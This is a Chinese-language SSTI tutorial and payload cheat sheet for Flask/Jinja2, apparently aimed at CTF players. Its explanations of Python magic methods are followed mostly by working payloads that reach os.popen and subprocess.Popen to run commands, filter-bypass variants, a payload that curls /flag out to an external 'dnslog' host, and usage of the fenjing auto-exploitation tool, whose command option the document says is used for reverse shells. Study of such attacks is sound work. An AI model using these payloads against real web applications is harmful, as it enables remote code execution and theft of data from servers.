Python是一种面向对象的语言,所有的数据类型都是对象,而对象是由类定义的。在Python中,每个对象都属于某个类,而类本身也是对象。这种层级结构构成了SSTI漏洞的基础。
类是创建对象的蓝图或模板。例如,字符串类型str
是一个类,当我们创建"Hello"
时,实际上是在创建str
类的一个实例。在Python中,所有的类最终都继承自object
基类。这种继承结构使得我们可以沿着类的层级向上或向下遍历。
对象模型中的关键概念包括:
str
、int
等基本类型。"Hello"
是str
类的一个实例。理解这些基础概念对于理解SSTI漏洞至关重要,因为攻击者正是利用这些类的继承关系和魔术方法来执行任意代码。
Python中有一些特殊的魔术方法(Magic Methods),它们以双下划线开头和结尾,用于定义对象的行为。在SSTI攻击中,以下几个魔术方法尤为重要:
__class__
返回对象所属的类。例如,"Hello".__class__
返回
。这是SSTI攻击的起点,因为它允许我们获取对象的类,进而探索其父类和方法。
__bases__
返回类的直接父类元组,而__mro__
返回一个元组,包含类及其所有父类,按照方法解析顺序排列 。例如:
class A: pass
class B(A): pass
print(B.__bases__) # 输出:
print(B.__mro__) # 输出:, ,
在SSTI攻击中,__mro__
特别有用,因为它允许我们直接访问到object
基类 ,而object
是所有类的最终父类,其子类列表包含了Python运行时加载的所有类。
__subclasses__()
返回一个类的所有直接子类列表 。例如:
class Parent: pass
class Child(Parent): pass
print(Parent.__subclasses__()) # 输出:
在SSTI攻击中,通过object.__subclasses__()
可以获取所有已加载的类 ,这为我们寻找包含危险函数的类提供了途径。
__init__
是类的初始化方法,当创建类的实例时自动调用 。虽然这个方法本身并不直接用于SSTI攻击,但通过__init__.__globals__
可以访问到类定义时的全局变量空间,这包含了我们可能需要的危险函数 。
__globals__
返回一个函数所处全局命名空间的字典 。这个字典包含了函数所在模块的所有变量、方法和导入的模块。在SSTI攻击中,这是访问os
、subprocess
等危险模块的关键 。
SSTI攻击的核心是构建魔术方法链,从一个简单的对象开始,逐步访问到包含危险函数的类和方法。以下是基础利用的步骤:
首先,我们需要确认目标应用是否存在SSTI漏洞。最简单的方法是尝试执行一个简单的数学表达式:
{{7*7}}
如果应用返回"49",则表明存在SSTI漏洞;如果返回原始代码或报错,则可能不存在漏洞或存在过滤机制。
确认漏洞后,我们可以从一个简单的对象(如字符串)开始,获取其类:
{{''.__class__}}
这将返回
,表示空字符串的类。这是攻击链的起点。
接下来,我们需要从str
类向上追溯到object
基类。有两种方法:
方法一:通过__bases__逐层向上
{{''.__class__.__bases__[0].__bases__[0]}}
这里,''.__class__.__bases__[0]
获取str
类的直接父类object
。
方法二:通过__mro__直接获取
{{''.__class__.__mro__[1]}}
由于str
类的MRO顺序是str
→object
,因此索引1直接指向object
类 。
获取到object
类后,我们可以遍历其所有子类:
{{''.__class__.__mro__[1].__subclasses__()}}
这将返回一个包含所有已加载类的列表。每个环境中这个列表的索引值可能不同 ,因此我们需要找到包含危险函数的类。
在object
的子类列表中,寻找包含危险函数的类。例如,在Python3中,os._wrap_close
类通常位于索引138或附近位置 :
{{''.__class__.__mro__[1].__subclasses__()[138].__name__}}
这将返回类的名称,帮助我们识别危险类。例如,os._wrap_close
类可能包含os.popen
方法 。
找到危险类后,我们可以通过其__init__.__globals__
获取全局变量空间:
{{''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__}}
这个字典包含了该类定义时可用的所有全局变量,包括os
、subprocess
等危险模块 。
最后,我们可以调用危险函数执行命令:
{{''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__['os'].system('id')}}
这将执行id
命令并返回结果。类似地,我们可以使用os.popen
或subprocess.Popen
执行更复杂的命令 :
{{''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__['os'].popen('ls').read()}}
{%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('ls').read()}}{%endif%}{%endfor%}
{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
g 是 Flask 中的一个 上下文对象,全称是 globals。它用于在请求生命周期中存储数据(比如数据库连接、用户信息等)。在 Jinja2 模板中可以直接访问 g.pop 是 Python 字典的一个方法,用于从字典中删除并返回某个键的值。g.pop 本身是一个函数,我们可以访问它的属性。
{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
url_for 是 Flask 中的一个内置函数,用于生成 URL(比如根据视图函数名生成对应的 URL 路径)。它在 Jinja2 模板中可以直接访问。
{{application.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
application 是 Flask 中的一个核心对象,代表整个 Flask 应用本身。在 Jinja2 模板中,application 是可以直接访问的(尤其是在调试模式下)。
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
config 是 Flask 中的一个全局对象,用于存储应用的配置信息(如 SECRET_KEY、数据库 URI 等)。它在 Jinja2 模板中可以直接访问。
{{get_flashed_messages.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
get_flashed_messages 是 Flask 中的一个 内置函数,用于获取“闪现消息”(flash messages)。闪现消息是 Flask 提供的一种临时消息机制,常用于在请求之间传递提示信息(如登录成功、错误提示等)。它不是用户定义的,而是 Jinja2 模板中可以直接访问的。
{{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
在 Jinja2 模板中,self 通常指的是模板本身(即当前模板对象)。它是一个 Jinja2 的内部对象,通常用于在模板中调用自身的方法或属性。
{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
lipsum 是 Jinja2 中的一个 内置函数,用于生成“占位文本”(比如 Lorem Ipsum)。它不是用户定义的,而是 Jinja2 提供的。
{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
cycler 是 Jinja2 中的一个 内置对象,用于在模板中循环使用一组值(比如在循环中交替使用不同的 CSS 样式)。它不是用户定义的,而是 Jinja2 提供的。
{{joiner.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
joiner 是 Jinja2 中的一个 内置对象,通常用于控制模板中多个元素之间的连接方式(比如逗号、空格等)。它本身不是用户定义的,而是 Jinja2 提供的。
{{namespace.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
namespace 是 Jinja2 中的一个内置类,用于创建命名空间对象。在模板中可以直接使用 namespace() 来创建变量作用域。它不是用户定义的,而是 Jinja2 提供的。
{{().__class__.__mro__[1].__subclasses__()[407](request.args.a, shell=True, stdout=-1).communicate()[0]}}&a=cat /flag
这段代码通过空元组的继承链找到subprocess.Popen类,用request.args.a传入命令参数。shell=True启用shell执行,stdout=-1捕获输出,最终执行cat /flag读取文件。本质是利用Python反射机制绕过直接调用限制,通过对象继承关系间接调用危险函数。
如果上面的args被禁用了,可以考虑cookie或者其他
以下是 Flask 框架中可用于替代 request.args 的其他输入参数来源及其利用方式的总结表格:
Flask 框架输入参数替代利用表
参数来源 | 获取方式 | 利用示例(攻击 Payload) | 适用请求类型 |
---|---|---|---|
GET参数(request.args) | request.args.get(‘a’) | {{().class.mro[1].subclasses()[407](request.args.a, shell=True, stdout=-1).communicate()}} | GET /?a=cat /flag |
POST 表单 (request.form) | request.form.get(‘a’) | {{().class.mro[1].subclasses()[407](request.form.a, shell=True, stdout=-1).communicate()}} | POST + Body: a=cat /flag |
JSON 数据 (request.json) | request.json.get(‘a’) | {{().class.mro[1].subclasses()[407](request.json.a, shell=True, stdout=-1).communicate()}} | POST + JSON: {“a”:“cat /flag”} |
Cookies (request.cookies) | request.cookies.get(‘a’) | {{().class.mro[1].subclasses()[407](request.cookies.a, shell=True, stdout=-1).communicate()}} | Cookie: a=cat /flag |
URL 路径参数 (request.view_args) | request.view_args.get(‘a’) | {{().class.mro[1].subclasses()[407](request.view_args.a, shell=True, stdout=-1).communicate()}} | /path/(路由参数) |
{{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(407)(request.values.a,shell=True,stdout=-1).communicate().__getitem__(0)}}&a=cat /flag
用__getitem__
代替方括号
{{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__
相当于
{{lipsum.__globals__.os.popen(request.values.a).read()}}&a =cat /flag
属性访问(如 lipsum.__globals__)是直接通过 . 运算符获取对象属性或方法的方式。
| attr 是 Jinja2 的过滤器,功能类似 Python 的 getattr(),允许通过字符串动态获取属性(如 lipsum | attr(“__globals__”)),从而避免直接暴露敏感关键字(如 __globals__)。
{{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag
{{}}和{%%}的区别
{{ }} 用于 输出表达式结果(如变量、计算值),会自动渲染内容到模板。
{% %} 用于 执行控制语句(如 if、for),不直接输出内容,需配合 print 显式输出。
关键区别:
{{ 1+1 }} → 输出 2
{% 1+1 %} → 无输出(需 {% print(1+1) %} 才能显示结果)
攻击中的用途:
{{ }} 直接渲染危险操作(如 os.popen)。
{% print() %} 绕过对 {{ }} 的过滤,强制输出结果。
部分字符的构造
如果payload里面有被过滤的字符可以转成全角字符
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set space=(()|select|string|list)|attr(pop)(five*two)%}
{%set underline=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set colon=(config|string|list)|attr(pop)(two*seven)%}
{%set slash=(config|string|list)|attr(pop)(-eight*eight)%}
{%set dot=(config|string|list)|attr(pop)(five*five*eight-nine)%}
{%set open=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(open=a)|join)%}
相当于{%set open=lipsum.__globals__.get(builtins).get(open)%}
{% set import=(underline,underline,dict(import=a)|join,underline,underline)|join %}
因为| join的默认逻辑是key的连接,所以后面的value并不重要,count用来统计字符的数量
我们还可以据此构造出一些payload
{% set three = dict(ccc=a)|join|count %}
{% set eight = dict(cccccccc=a)|join|count %}
{% set pop = dict(pop=a)|join %}
{% set underline = (lipsum|string|list)|attr(pop)(three*eight) %}
{% set init = (underline, underline, dict(init=underline) | join, underline, underline) | join() %}
{% set globals = (underline, underline, dict(globals=underline) | join, underline, underline) | join() %}
{% set getitem = (underline, underline, dict(getitem=underline) | join, underline, underline) | join() %}
{% set builtins = (underline, underline, dict(builtins=underline) | join, underline, underline) | join() %}
{% set os = (dict(o=a, s=a) | join) %}
{% set x = (q | attr(init) | attr(globals) | attr(getitem))(builtins) %}
{% set chr = x.chr %}
{% set cmd ="curl -X POST -F xx=@/flag http://dnslog"%}
{% if ((lipsum | attr(globals)).get(os).popen(cmd)) %}
abc
{% endif %}
{% set three = dict(ccc=a)|join|count %}
{% set eight = dict(cccccccc=a)|join|count %}
{% set pop = dict(pop=a)|join %}
{% set underline = (lipsum|string|list)|attr(pop)(three*eight) %}
{% set init = (underline, underline, dict(init=underline) | join, underline, underline) | join() %}
{% set globals = (underline, underline, dict(globals=underline) | join, underline, underline) | join() %}
{% set getitem = (underline, underline, dict(getitem=underline) | join, underline, underline) | join() %}
{% set builtins = (underline, underline, dict(builtins=underline) | join, underline, underline) | join() %}
{% set os = (dict(o=a, s=a) | join) %}
{% set x = (q | attr(init) | attr(globals) | attr(getitem))(builtins) %}
{% set chr = x.chr %}
{% set cmd = chr(39)%2bchr(108)%2bchr(115)%2bchr(39) %}
//相当于'ls'
{% set proc = (lipsum | attr(globals)).get(os).popen(cmd) %}
{% set output = proc.read() %}
{{ output }}
如果count被禁用了可以换成length
python -m fenjing <mode> [通用参数] --exec-cmd "<命令>"
例如:
python -m fenjing scan --url --exec-cmd "id"
python -m fenjing crack --url --method POST --inputs user,pass --exec-cmd "cat /flag"
python -m fenjing crack-request -f req.txt --host --port --exec-cmd ""
scan
:自动发现可注入参数并攻击crack
:手动指定参数名(用逗号分隔)crack-request
:使用原始 HTTP 请求文件crack-keywords
:从源码中提取关键字黑名单并自动绕过--url
:目标地址--method
:仅在 crack 模式中指定请求方法--inputs a,b,c
:crack 模式下指定参数名-f
:crack-request 模式使用请求文件--host <域名>
、--port <端口>
:用于 crack-request--detect-mode
:扫描模式(速度 vs 精准)--interval <秒>
:每次请求间隔--exec-cmd "<命令>"
:注入后执行的命令,常用于 shell 反弹或 flag 展示